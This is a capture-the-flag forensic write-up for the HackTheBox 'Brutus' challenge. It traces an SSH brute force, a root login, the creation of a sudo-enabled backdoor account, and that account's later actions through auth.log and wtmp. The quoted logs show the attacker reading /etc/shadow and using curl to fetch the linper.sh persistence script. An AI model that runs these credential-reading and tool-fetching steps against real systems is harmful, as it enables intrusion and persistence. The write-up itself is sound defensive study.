




HACKTHEBOX

Brutus is an entry-level DFIR challenge that provides a `auth.log` file and a `wtmp` file. I'll use these two artifacts to identify where an attacker performed an SSH brute force attack, eventually getting success with a password for the root user. I'll see how the user comes back in manually and connects, creating a new user and adding that user to the `sudo` group. Finally, that user connects and runs a couple commands using `sudo`.

Brutus



The image shows a notification from HackTheBox indicating that the Brutus challenge has been pwned. At the top, there is a green shield icon with a red and blue figure holding a glowing orb. Below the shield, the text "Brutus has been Pwned!" is displayed. A congratulatory message follows: "Congratulations  H4k3R4FT3RD4Rk, best of luck in capturing flags ahead!". Below this, a table displays the user's achievement details:

#2542	23 May 2024	RETIRED
SHERLOCK RANK	PWN DATE	SHERLOCK STATE

At the bottom, there are two buttons: "OK" and "SHARE".

Overview:

The `download` zip has two files in it, `auth.log` and `wtmp`:

```
(root@kali)-[/home/geshet/HTB/Brutus]
# ls -la
total 64
drwxr-xr-x  2 geshet geshet  4096 May 23 18:29 .
drwxrwxrwx 11 root   root    4096 May 23 18:29 ..
-rw-rw-r--  1 geshet geshet 43911 Mar  6 11:47 auth.log
-rw-rw-r--  1 geshet geshet 11136 Mar  6 11:47 wtmp
```

`auth.log` is a text log that logs both successful and failed logins, `sudo` and `su` attempts, and other authentication processes. `/var/log/auth.log` is the Debian/Ubuntu storage location, whereas RedHat/CentOS operating systems store these logs in `/var/log/secure`.

```
(root@kali)-[/home/geshet/HTB/Brutus]
# head auth.log
Mar  6 06:18:01 ip-172-31-35-28 CRON[1119]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:18:01 ip-172-31-35-28 CRON[1118]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:18:01 ip-172-31-35-28 CRON[1117]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:18:01 ip-172-31-35-28 CRON[1118]: pam_unix(cron:session): session closed for user confluence
Mar  6 06:18:01 ip-172-31-35-28 CRON[1119]: pam_unix(cron:session): session closed for user confluence
Mar  6 06:18:01 ip-172-31-35-28 CRON[1117]: pam_unix(cron:session): session closed for user confluence
Mar  6 06:19:01 ip-172-31-35-28 CRON[1366]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:19:01 ip-172-31-35-28 CRON[1367]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar  6 06:19:01 ip-172-31-35-28 CRON[1366]: pam_unix(cron:session): session closed for user confluence
Mar  6 06:19:01 ip-172-31-35-28 CRON[1367]: pam_unix(cron:session): session closed for user confluence
```

The date is March 6 at 06:18:01. The hostname is ip-172-31-35-28. And the service is the cron service which had process ID (pid) 1119 at the time. The message is that the root user is running a cron (Linux scheduled task) as the confluence user (user id (uid) 998).

wtmp Background

`Wtmp` is one of three files that tracks login and logout events on a Linux system. `/var/run/utmp` tracks the currently logged in users. `/var/log/wtmp` keeps a historical log of login and logout activity. And `/var/log/btmp` keeps a record of invalid login attempts.

The data for each of these is stored in a binary format, so unlike with `auth.log`, they won't make sense when accessed directly. Each has a Linux binary that manages parsing it for display.

To look at a `wtmp` file on it's own, I'll use the `utmpdump` utility:

```

root@kali: ~/bin/genesis/mtb/patches
# utmpdump wtmp
Utmp dump of wtmp
[2] [00000] [~~] [reboot] [~~] [6.2.0-1017-aws] [0.0.0.0] [2024-01-25T11:12:17,804944+00:00]
[5] [00601] [tyS0] [ ] [ttyS0] [ ] [0.0.0.0] [2024-01-25T11:12:31,072401+00:00]
[6] [00601] [tyS0] [LOGIN] [ttyS0] [ ] [0.0.0.0] [2024-01-25T11:12:31,072401+00:00]
[5] [00618] [tty1] [ ] [tty1] [ ] [0.0.0.0] [2024-01-25T11:12:31,080342+00:00]
[6] [00618] [tty1] [LOGIN] [tty1] [ ] [0.0.0.0] [2024-01-25T11:12:31,080342+00:00]
[1] [00053] [~~] [runlevel] [~~] [6.2.0-1017-aws] [0.0.0.0] [2024-01-25T11:12:33,792454+00:00]
[7] [01284] [ts/0] [ubuntu] [pts/0] [203.101.190.9] [203.101.190.9] [2024-01-25T11:13:58,354674+00:00]
[8] [01284] [ ] [ ] [pts/0] [ ] [0.0.0.0] [2024-01-25T11:15:12,956114+00:00]
[7] [01483] [ts/0] [root] [pts/0] [203.101.190.9] [203.101.190.9] [2024-01-25T11:15:40,806926+00:00]
[8] [01404] [ ] [ ] [pts/0] [ ] [0.0.0.0] [2024-01-25T12:34:34,949753+00:00]
[7] [836798] [ts/0] [root] [pts/0] [203.101.190.9] [203.101.190.9] [2024-02-11T10:33:49,408334+00:00]
[5] [838568] [tyS0] [ ] [ttyS0] [ ] [0.0.0.0] [2024-02-11T10:39:02,172417+00:00]
[6] [838568] [tyS0] [LOGIN] [ttyS0] [ ] [0.0.0.0] [2024-02-11T10:39:02,172417+00:00]
[7] [838962] [ts/1] [root] [pts/1] [203.101.190.9] [203.101.190.9] [2024-02-11T10:41:11,700107+00:00]
[8] [838896] [ ] [ ] [pts/1] [ ] [0.0.0.0] [2024-02-11T10:41:46,272984+00:00]
[7] [842171] [ts/1] [root] [pts/1] [203.101.190.9] [203.101.190.9] [2024-02-11T10:54:27,775434+00:00]
[8] [842073] [ ] [ ] [pts/1] [ ] [0.0.0.0] [2024-02-11T11:08:04,769514+00:00]
[8] [836694] [ ] [ ] [pts/0] [ ] [0.0.0.0] [2024-02-11T11:08:04,769963+00:00]
[1] [00000] [~~] [shutdown] [~~] [6.2.0-1017-aws] [0.0.0.0] [2024-02-11T11:09:18,000731+00:00]
[2] [00000] [~~] [reboot] [~~] [6.2.0-1018-aws] [0.0.0.0] [2024-03-06T06:17:15,744575+00:00]
[5] [00464] [tyS0] [ ] [ttyS0] [ ] [0.0.0.0] [2024-03-06T06:17:27,354378+00:00]
[6] [00464] [tyS0] [LOGIN] [ttyS0] [ ] [0.0.0.0] [2024-03-06T06:17:27,354378+00:00]
[5] [00505] [tty1] [ ] [tty1] [ ] [0.0.0.0] [2024-03-06T06:17:27,469940+00:00]
[6] [00505] [tty1] [LOGIN] [tty1] [ ] [0.0.0.0] [2024-03-06T06:17:27,469940+00:00]
[1] [00053] [~~] [runlevel] [~~] [6.2.0-1018-aws] [0.0.0.0] [2024-03-06T06:17:29,538024+00:00]
[7] [01583] [ts/0] [root] [pts/0] [203.101.190.9] [203.101.190.9] [2024-03-06T06:19:55,151913+00:00]
[7] [02549] [ts/1] [root] [pts/1] [65.2.161.68] [65.2.161.68] [2024-03-06T06:32:45,387923+00:00]
[8] [02491] [ ] [ ] [pts/1] [ ] [0.0.0.0] [2024-03-06T06:37:24,590579+00:00]
[7] [02667] [ts/1] [cyberjunkie] [pts/1] [65.2.161.68] [65.2.161.68] [2024-03-06T06:37:35,475575+00:00]

```

The event types are defined wtmpdump man page as follows:

```

#define EMPTY          0 /* Record does not contain valid info
                           (formerly known as UT_UNKNOWN on Linux) */
#define RUN_LVL        1 /* Change in system run-level (see
                           init(8)) */
#define BOOT_TIME      2 /* Time of system boot (in ut_tv) */
#define NEW_TIME       3 /* Time after system clock change
                           (in ut_tv) */
#define OLD_TIME       4 /* Time before system clock change
                           (in ut_tv) */
#define INIT_PROCESS   5 /* Process spawned by init(8) */
#define LOGIN_PROCESS  6 /* Session leader process for user login */
#define USER_PROCESS   7 /* Normal process */
#define DEAD_PROCESS   8 /* Terminated process */
#define ACCOUNTING     9 /* Not implemented */

```

SSH Bruteforce:

Since we are looking for a brute force attack over SSH, We want to start with failed logins, which won't be in `wtmp`. We review the `auth.log`.

Using `cut` with the space delimiter to get the 6th field, which would look something like `CRON[1119]:`.

piping that output into `cut` again, this time dividing on `[` and getting the first field, to just get the `CRON`.

piping all of those results into `sort | uniq -c | sort -nr`, which will get a list of the unique values with counts, sorted from most to least:

```
(root@kali)~/home/geshet/HTB/Brutus
# cat auth.log | cut -d' ' -f 6 | cut -d '[' -f1 | sort | uniq -c | sort -nr
257 sshd
104 CRON
  8 systemd-logind
  6 sudo:
  3 groupadd
  2 usermod
  2 systemd:
  1 useradd
  1 passwd
  1 chfn
```

So the services contributing to the auth log are mostly SSH and CRON, and then some other interesting activity with various unix commands We want to check out later.

SSH Failures:

Turning to the SSH activity, We run `cat auth.log | grep sshd | less` to look at just the SSH events. It starts out with a successful root login:

```
(root@kali)~/home/geshet/HTB/Brutus
# cat auth.log | grep sshd
Mar 6 06:19:52 ip-172-31-35-28 sshd[1465]: AuthorizedKeysCommand /usr/share/ec2-instance-connect/eic_run_authorized_keys root SHA256:4vycLsDMzI+hyb90P3wd18zIpyTqJmRq/QIZaLNrg8A failed, status 22
Mar 6 06:19:54 ip-172-31-35-28 sshd[1465]: Accepted password for root from 203.101.190.9 port 42825 ssh2
Mar 6 06:19:54 ip-172-31-35-28 sshd[1465]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar 6 06:31:31 ip-172-31-35-28 sshd[2325]: Invalid user admin from 65.2.161.68 port 46380
Mar 6 06:31:31 ip-172-31-35-28 sshd[2325]: Received disconnect from 65.2.161.68 port 46380:11: Bye Bye [preauth]
Mar 6 06:31:31 ip-172-31-35-28 sshd[2325]: Disconnected from invalid user admin 65.2.161.68 port 46380 [preauth]
Mar 6 06:31:31 ip-172-31-35-28 sshd[620]: error: beginning MaxStartups throttling
Mar 6 06:31:31 ip-172-31-35-28 sshd[620]: drop connection #10 from [65.2.161.68]:46482 on [172.31.35.28]:22 past MaxStartups
Mar 6 06:31:31 ip-172-31-35-28 sshd[2327]: Invalid user admin from 65.2.161.68 port 46392
Mar 6 06:31:31 ip-172-31-35-28 sshd[2327]: pam_unix(sshd:auth): check pass; user unknown
Mar 6 06:31:31 ip-172-31-35-28 sshd[2327]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=5.2.161.68
Mar 6 06:31:31 ip-172-31-35-28 sshd[2332]: Invalid user admin from 65.2.161.68 port 46444
Mar 6 06:31:31 ip-172-31-35-28 sshd[2331]: Invalid user admin from 65.2.161.68 port 46436
Mar 6 06:31:31 ip-172-31-35-28 sshd[2332]: pam_unix(sshd:auth): check pass; user unknown
Mar 6 06:31:31 ip-172-31-35-28 sshd[2332]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=5.2.161.68
Mar 6 06:31:31 ip-172-31-35-28 sshd[2331]: pam_unix(sshd:auth): check pass; user unknown
Mar 6 06:31:31 ip-172-31-35-28 sshd[2331]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=5.2.161.68
Mar 6 06:31:31 ip-172-31-35-28 sshd[2330]: Invalid user admin from 65.2.161.68 port 46422
```

Immediately following that is a series of logs with login failures from the IP 65.2.161.68. These logs show someone trying to log in as admin, and the system saying that there is no user admin. These failed login run from 06:31:33 to 06:31:42, suggesting a brute force tool or script is running, as a user at the keyboard could not type that fast. I can see the full range with `grep` to select on the word "Failed":

With some more `cut` and `grep` we can get a histogram of the failed login accounts:

```
(root@kali)~/home/geshet/HTB/Brutus
# cat auth.log | grep Failed | cut -d: -f4 | cut -d' ' -f5- | rev | cut -d' ' -f6- | rev | sort | uniq -c | sort -nr
12 invalid user server_admin
11 invalid user svc_account
10 invalid user admin
9 backup
6 root
```

It's a bit tricky because the username is either a single word or the string "invalid user" followed by a single word. To handle this, we use the `cut` command to trim up to the starting point, then reverse the string, trim up to the end, and reverse it back.

This indicates that the attacker tried five different usernames and discovered two valid ones.

We can surely say the attacker IP is **65.2.161.68** – Q1

SSH Success:

Once we have the timeframe of the brute force, it's critical to go back and look at all the logs in that timeframe to see if there were any successes. I saw previously that a successful SSH login message started with "Accepted password for". We `grep` for that:

```
(root@kali)~/home/geshet/HTB/Brutus
# cat auth.log | grep Accepted
Mar 6 06:19:54 ip-172-31-35-28 sshd[1465]: Accepted password for root from 203.101.190.9 port 42825 ssh2
Mar 6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar 6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2
```

Four successful logins. The second falls right towards the end of the brute force for the root user. We grab the logs from around that time and see the following related logs:


```
278 Mar 6 06:31:39 ip-172-31-35-28 sshd[2384]: Received disconnect from 65.2.161.68 port 46732:11: Bye Bye [preauth]
279 Mar 6 06:31:39 ip-172-31-35-28 sshd[2384]: Disconnected from invalid user svc_account 65.2.161.68 port 46732 [preauth]
280 Mar 6 06:31:39 ip-172-31-35-28 sshd[2409]: Failed password for root from 65.2.161.68 port 46890 ssh2
281 Mar 6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
282 Mar 6 06:31:40 ip-172-31-35-28 sshd[2411]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
283 Mar 6 06:31:40 ip-172-31-35-28 systemd-logind[411]: New session 34 of user root.
284 Mar 6 06:31:40 ip-172-31-35-28 sshd[2379]: Received disconnect from 65.2.161.68 port 46698:11: Bye Bye [preauth]
285 Mar 6 06:31:40 ip-172-31-35-28 sshd[2379]: Disconnected from invalid user server_adm 65.2.161.68 port 46698 [preauth]
286 Mar 6 06:31:40 ip-172-31-35-28 sshd[2380]: Received disconnect from 65.2.161.68 port 46710:11: Bye Bye [preauth]
287 Mar 6 06:31:40 ip-172-31-35-28 sshd[2380]: Disconnected from invalid user server_adm 65.2.161.68 port 46710 [preauth]
288 Mar 6 06:31:40 ip-172-31-35-28 sshd[2387]: Connection closed by invalid user svc_account 65.2.161.68 port 46742 [preauth]
289 Mar 6 06:31:40 ip-172-31-35-28 sshd[2423]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=6
290 Mar 6 06:31:40 ip-172-31-35-28 sshd[2424]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=6
291 Mar 6 06:31:40 ip-172-31-35-28 sshd[2389]: Connection closed by invalid user svc_account 65.2.161.68 port 46744 [preauth]
292 Mar 6 06:31:40 ip-172-31-35-28 sshd[2391]: Connection closed by invalid user svc_account 65.2.161.68 port 46750 [preauth]
293 Mar 6 06:31:40 ip-172-31-35-28 sshd[2411]: Received disconnect from 65.2.161.68 port 34782:11: Bye Bye
294 Mar 6 06:31:40 ip-172-31-35-28 sshd[2411]: Disconnected from user root 65.2.161.68 port 34782
295 Mar 6 06:31:40 ip-172-31-35-28 sshd[2411]: pam_unix(sshd:session): session closed for user root
296 Mar 6 06:31:40 ip-172-31-35-28 systemd-logind[411]: Session 34 logged out. Waiting for processes to exit.
297 Mar 6 06:31:40 ip-172-31-35-28 systemd-logind[411]: Removed session 34.
298 Mar 6 06:31:40 ip-172-31-35-28 sshd[2393]: Connection closed by invalid user svc_account 65.2.161.68 port 46774 [preauth]
299 Mar 6 06:31:40 ip-172-31-35-28 sshd[2394]: Connection closed by invalid user svc_account 65.2.161.68 port 46786 [preauth]
300 Mar 6 06:31:40 ip-172-31-35-28 sshd[2397]: Connection closed by invalid user svc_account 65.2.161.68 port 46814 [preauth]
301 Mar 6 06:31:40 ip-172-31-35-28 sshd[2398]: Connection closed by invalid user svc_account 65.2.161.68 port 46840 [preauth]
302 Mar 6 06:31:40 ip-172-31-35-28 sshd[2396]: Connection closed by invalid user svc_account 65.2.161.68 port 46800 [preauth]
303 Mar 6 06:31:40 ip-172-31-35-28 sshd[2400]: Connection closed by invalid user svc_account 65.2.161.68 port 46854 [preauth]
```

This is a successful login as root immediately followed by a disconnect in the same second. There are multiple disconnection logs in the above block. Note that the connection for root happens on port 34782, and then the disconnect for that port happens 12 lines later (with other brute force attempts going on at the same time). That makes sense if the connection was from an brute force tool such as Hydra or NetExec just checking success or failure, logging the successes for the attacker to use later.

So the account that was successfully brute forced was **root** - Q2

Root session:

The logs above showed another successful auth as root at 06:32:44. The only three logs at that time are:

```
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
```

The id assigned to this session as the root user is 37 – Q4

Lets take a look at wtmp file:

```
L# utmpdump wtmp
Utmp dump of wtmp
[2] [00000] [~~] [reboot] [~] [6.2.0-1017-aws] [0.0.0.0] [2024-01-25T11:12:17,804944+00:00]
[5] [00601] [tyS0] [ ] [ttyS0] [ ] [0.0.0.0] [2024-01-25T11:12:31,072401+00:00]
[6] [00601] [tyS0] [LOGIN] [ttyS0] [ ] [0.0.0.0] [2024-01-25T11:12:31,072401+00:00]
[5] [00618] [tty1] [ ] [tty1] [ ] [0.0.0.0] [2024-01-25T11:12:31,080342+00:00]
[6] [00618] [tty1] [LOGIN] [tty1] [ ] [0.0.0.0] [2024-01-25T11:12:31,080342+00:00]
[1] [00053] [~~] [runlevel] [~] [6.2.0-1017-aws] [0.0.0.0] [2024-01-25T11:12:33,792454+00:00]
[7] [01284] [ts/0] [ubuntu] [pts/0] [203.101.190.9] [203.101.190.9] [2024-01-25T11:13:58,354674+00:00]
[8] [01284] [ ] [ ] [pts/0] [ ] [0.0.0.0] [2024-01-25T11:15:12,956114+00:00]
[7] [01483] [ts/0] [root] [pts/0] [203.101.190.9] [203.101.190.9] [2024-01-25T11:15:40,806926+00:00]
[8] [01404] [ ] [ ] [pts/0] [ ] [0.0.0.0] [2024-01-25T12:34:34,949753+00:00]
[7] [836798] [ts/0] [root] [pts/0] [203.101.190.9] [203.101.190.9] [2024-02-11T10:33:49,408334+00:00]
[5] [838568] [tyS0] [ ] [ttyS0] [ ] [0.0.0.0] [2024-02-11T10:39:02,172417+00:00]
[6] [838568] [tyS0] [LOGIN] [ttyS0] [ ] [0.0.0.0] [2024-02-11T10:39:02,172417+00:00]
[7] [838962] [ts/1] [root] [pts/1] [203.101.190.9] [203.101.190.9] [2024-02-11T10:41:11,700107+00:00]
[8] [838896] [ ] [ ] [pts/1] [ ] [0.0.0.0] [2024-02-11T10:41:46,272984+00:00]
[7] [842171] [ts/1] [root] [pts/1] [203.101.190.9] [203.101.190.9] [2024-02-11T10:54:27,775434+00:00]
[8] [842073] [ ] [ ] [pts/1] [ ] [0.0.0.0] [2024-02-11T11:08:04,769514+00:00]
[8] [836694] [ ] [ ] [pts/0] [ ] [0.0.0.0] [2024-02-11T11:08:04,769963+00:00]
[1] [00000] [~~] [shutdown] [~] [6.2.0-1017-aws] [0.0.0.0] [2024-02-11T11:09:18,000731+00:00]
[2] [00000] [~~] [reboot] [~] [6.2.0-1018-aws] [0.0.0.0] [2024-03-06T06:17:15,744575+00:00]
[5] [00464] [tyS0] [ ] [ttyS0] [ ] [0.0.0.0] [2024-03-06T06:17:27,354378+00:00]
[6] [00464] [tyS0] [LOGIN] [ttyS0] [ ] [0.0.0.0] [2024-03-06T06:17:27,354378+00:00]
[5] [00505] [tty1] [ ] [tty1] [ ] [0.0.0.0] [2024-03-06T06:17:27,469940+00:00]
[6] [00505] [tty1] [LOGIN] [tty1] [ ] [0.0.0.0] [2024-03-06T06:17:27,469940+00:00]
[1] [00053] [~~] [runlevel] [~] [6.2.0-1018-aws] [0.0.0.0] [2024-03-06T06:17:29,538024+00:00]
[7] [01583] [ts/0] [root] [pts/0] [203.101.190.9] [203.101.190.9] [2024-03-06T06:19:55,151913+00:00]
[7] [02549] [ts/1] [root] [pts/1] [65.2.161.68] [65.2.161.68] [2024-03-06T06:32:45,387923+00:00]
[8] [02491] [ ] [ ] [pts/1] [ ] [0.0.0.0] [2024-03-06T06:37:24,590579+00:00]
[7] [02667] [ts/1] [cyberjunkie] [pts/1] [65.2.161.68] [65.2.161.68] [2024-03-06T06:37:35,475575+00:00]

—(root@kali)~[/home/dschet/HTB/Brutus]
```

The third to last row is a type 7 event (USER_PROCESS) logging in as root from the attacker's IP at 06:32:45 (one second after the success attempt in `auth.log`). That time stamp is the answer to Q3.

Why is there a difference between `auth.log` and `wtmp`? `auth.log` is logging when the SSH connection starts on the box, and as it is starting to authenticate. Once that authentication is successful (in this case verifying the user's password against the hash in `/etc/shadow`), then it starts a terminal for the user for the interactive session, which is what gets logged in `wtmp`. It is possible that enough time would pass between those two events that they would end up with different timestamps.

We note above the other types of logs in `auth.log` besides SSH and cron as `sudo`, `groupadd`, `usermod`, `systemd`, `useradd`, `passwd` and `chfn`. We want to check out each of these. Given the question for task five, we start with the `useradd`. At 06:34:18, there are four log lines that look like the cyberjunkie user and group were created:

```
Mar 6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/group: name=cyberjunkie, GID=1002 Mar 6
06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/gshadow: name=cyberjunkie Mar 6 06:34:18 ip-172-
31-35-28 groupadd[2586]: new group: name=cyberjunkie, GID=1002 Mar 6 06:34:18 ip-172-31-35-28 useradd[2592]:
new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts Mar 6
06:34:26 ip-172-31-35-28 passwd[2603]: pam_unix(passwd:chauthtok): password changed for cyberjunkie Mar 6
06:34:31 ip-172-31-35-28 chfn[2605]: changed user 'cyberjunkie' information
```

Shortly after, the users password is set.

Skipping some cron activity, less than a minute later, `usermod` is used to add cyberjunkie to the `sudo` group:

```
Mar 6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to group 'sudo' Mar 6 06:35:15 ip-172-31-35-28
usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'
```

`sudo`, or super-user do, is a utility to allow non-root users to run specific commands as another user. The `sudo` group is for users who can run any command as root with `sudo`. `cyberjunkie` is the answer to **Q5**

Create Account is a technique under persistence on the Mitre Att&ck matrix:

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access
10 techniques	14 techniques	20 techniques	14 techniques	43 techniques	17 techniques
Content Injection	Cloud Administration Command	Account Manipulation (6)	Abuse Elevation Control Mechanism (5)	Abuse Elevation Control Mechanism (5)	Adversary-in-the-Middle (3)
Drive-by Compromise	Command and Scripting Interpreter (9)	BITS Jobs	Access Token Manipulation (5)	Access Token Manipulation (5)	Brute Force (4)
Exploit Public-Facing Application	Container Administration Command	Boot or Logon Autostart Execution (14)	Account Manipulation (6)	BITS Jobs	Credentials from Password Stores (6)
External Remote Services	Deploy Container	Boot or Logon Initialization Scripts (5)	Boot or Logon Autostart Execution (14)	Build Image on Host	Exploitation for Credential Access
Hardware Additions	Exploitation for Client Execution	Browser Extensions	Boot or Logon Initialization Scripts (5)	Debugger Evasion	Forced Authentication
Phishing (4)	Inter-Process Communication (3)	Compromise Client Software Binary	Create or Modify System Process (4)	Deobfuscate/Decode Files or Information	Forge Web Credentials (2)
Replication Through Removable Media	Native API	Create Account (3)	Domain Policy Modification (2)	Deploy Container	Input Capture (4)
Scheduled Task/Job (5)	Scheduled Task/Job (5)	Create or Modify System Process (4)	Domain Policy Modification (2)	Direct Volume Access	Modify Authentication Process (8)
Serverless Execution	Serverless Execution	Event Triggered Execution (16)	Escape to Host	Execution Guardrails (1)	Multi-Factor Authentication Interception
Shared Modules	Shared Modules	External Remote Services	Event Triggered Execution (16)	Exploitation for Defense Evasion	Multi-Factor Authentication Request Generation
Software Deployment Tools	Software Deployment Tools	Hijack Execution Flow (12)	Exploitation for Privilege Escalation	File and Directory Permissions Modification (2)	Network Sniffing
System Services (2)	System Services (2)	Implant Internal Image	Hijack Execution Flow (12)	Hide Artifacts (11)	OS Credential Dumping (8)
User Execution (3)	User Execution (3)	Modify Authentication Process (8)	Process Injection (12)	Hijack Execution Flow (12)	Steal Application Access Token
Windows Management Instrumentation	Windows Management Instrumentation	Office Application	Scheduled Task/Job (5)	Impair Defenses (11)	Steal or Forge
			Valid Accounts	Impersonation	
				Indicator Removal (9)	
				Indirect Command Execution	
				Macquerading	

The ID for creating a local account is T1136.001 – Q6

Cyberjunkie session:

Shortly after that, the session disconnects:

```
Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user
Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184
```

So the total time of the session is 06:32:45 - 06:37:24, of 279 seconds -Q7

Connection:

The other successful authentication in `auth.log` is from the newly created cyberjunkie user at 06:37:34:

```
(root@kali)~/home/geshet/HTB/Brutus
# cat auth.log | grep Accepted | grep cyberjunkie
Mar 6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2
(root@kali)~/home/geshet/HTB/Brutus
```

`wtmp` shows the session starting one second later:

```
[7] [02667] [ts/1] [cyberjunkie] [pts/1 ] [65.2.161.68 ] [65.2.161.68 ] [2024-03-06T06:37:35,475575+00:00]
```

```
(root@kali)~/home/geshet/HTB/Brutus
# cat auth.log | grep Accepted | grep cyberjunkie
Mar 6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2

(root@kali)~/home/geshet/HTB/Brutus
# utmpdump wtmp | grep cyberjunkie
Utmp dump of wtmp
[7] [02667] [ts/1] [cyberjunkie] [pts/1 ] [65.2.161.68 ] [65.2.161.68 ] [2024-03-06T06:37:35,475575+00:00]
```

Activity:

Once logged in, there are a few actions that the cyberjunkie user takes that are logged in `auth.log`. At 06:37:57, they print the `/etc/shadow` file containing the password hashes for the users on the system using `sudo`:

```
Mar 6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ;
COMMAND=/usr/bin/cat /etc/shadow
Mar 6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by
cyberjunkie(uid=1002)
Mar 6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
```

About a minute later they download `linper.sh` from GitHub:

```
Mar 6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ;
COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
Mar 6 06:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by
cyberjunkie(uid=1002)
Mar 6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
```

So the command run is `/usr/bin/curl`

Timeline:

Time (UTC)	Description	Reference
06:18:01	First entry in <code>auth.log</code> .	<code>auth.log</code>
06:31:33	SSH brute force start	<code>auth.log</code>
06:31:40	root SSH login successful	<code>auth.log</code>
06:31:42	SSH brute force stop	<code>auth.log</code>
06:32:44	SSH login as root	<code>auth.log</code>
06:32:45	Terminal session starts as root	<code>wtmp</code>
06:34:18	cyberjunkie user and group created	<code>auth.log</code>
06:35:15	cyberjunkie added to sudo group	<code>auth.log</code>
06:37:24	root session disconnects	<code>auth.log</code>
06:37:34	SSH login as cyberjunkie	<code>auth.log</code>
06:37:35	Terminal session starts as cyberjunkie	<code>wtmp</code>
06:37:57	cyberjunkie accesses <code>/etc/shadow</code>	<code>auth.log</code>
06:39:38	cyberjunkie downloads <code>linper.sh</code>	<code>auth.log</code>
06:41:01	Last entry in <code>auth.log</code>	<code>auth.log</code>